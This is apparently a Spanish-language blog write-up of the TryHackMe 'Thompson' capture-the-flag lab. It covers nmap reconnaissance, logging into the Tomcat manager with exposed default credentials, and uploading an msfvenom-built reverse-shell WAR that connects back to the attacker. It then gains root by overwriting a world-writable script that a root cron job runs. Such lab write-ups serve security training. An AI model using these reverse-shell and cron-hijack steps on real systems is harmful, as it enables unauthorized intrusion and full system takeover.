Entrada

TryHackMe - Thompson

Un desafío bastante bueno utilizando la carga de archivos de Tomcat y Metasploit

TryHackMe - Thompson

Introducción

Esta es una sala bastante buena para principiantes que necesitan practicar la carga de archivos en shells inversos y obtener acceso de esa manera. No fue necesario escalar privilegios, ya que el script disponible solo necesitaba un poco de ajuste.

En general, es un desafío bastante simple, pero bueno para los principiantes.

Tryhackme Room Link

Nmap

Comencemos con el escaneo de nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -T4 -n -sC -sV -Pn -p- 10.10.83.60
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
|   256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_  256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open  http    Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Así que tenemos 3 puertos abiertos 22/tcp 8009/tcp 8080/tcp

Reconocimiento

Visitemos el sitio web en http://10.10.83.60:8080/

Podemos ver una subpágina del administrador

Manager Webapp

Aparece el formulario web, pero una vez que hacemos clic en cancelar, nos redireccionan a esta página

Podemos ver algunas credenciales

Tomcat Credentials

1
2
username: tomcat
password: s3cret

Ahora probemos esas credenciales.

Manager Webapp

Y nosotros estamos registrados en el gerente

Inside Manager

Acceso inicial

Podemos ver algunos cargadores de archivos disponibles que parecen aceptar solo archivos .war

Uploader

Descarguemos el archivo de shell inverso de PHP en https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Necesitamos actualizar nuestra IP y PUERTO y guardar el archivo como shell.php.war ya que solo acepta archivos .war

1
2
$ip = '10.11.75.122';  // CHANGE THIS
$port = 1337;       // CHANGE THIS

No podemos iniciar la aplicación de esta manera.

Shell

No podremos hacerlo de esta manera, intentemos crear un archivo .war usando metasploit

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.75.122 LPORT=1337 -f war > exploit.war

Ahora intentemos cargar el archivo

Shell

La carga está bien, ahora abramos el puerto de nuestro lado y visitemos nuestra página de exploits.

Shell

Bandera de usuario

Hemos recibido una conexión y podemos encontrar la bandera del usuario en /home/jack/user.txt

Shell

Bandera Root

Veamos qué archivos tenemos disponibles

1
2
3
4
5
cat id.sh
#!/bin/bash
id > test.txt
uid=0(root) gid=0(root) groups=0(root)
---

Parece que tenemos un enlace, así que echemos un vistazo a los cronjobs.

1
2
3
4
5
6
7
8
9
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   root    cd /home/jack && bash id.sh
1
2
3
4
5
6
7
8
9
ls -la 
total 48
drwxr-xr-x 4 jack jack 4096 Aug 23  2019 .
drwxr-xr-x 3 root root 4096 Aug 14  2019 ..
-rw------- 1 root root 1476 Aug 14  2019 .bash_history
-rw-r--r-- 1 jack jack  220 Aug 14  2019 .bash_logout
-rw-r--r-- 1 jack jack 3771 Aug 14  2019 .bashrc
drwx------ 2 jack jack 4096 Aug 14  2019 .cache
-rwxrwxrwx 1 jack jack   26 Aug 14  2019 id.sh

Parece que podemos ejecutar id.sh como root para poder simplemente cat el contenido del archivo root.txt en el archivo test.txt

1
echo "cat /root/root.txt > test.txt" > id.sh

Root

Esta entrada está licenciada bajo CC BY 4.0 por el autor.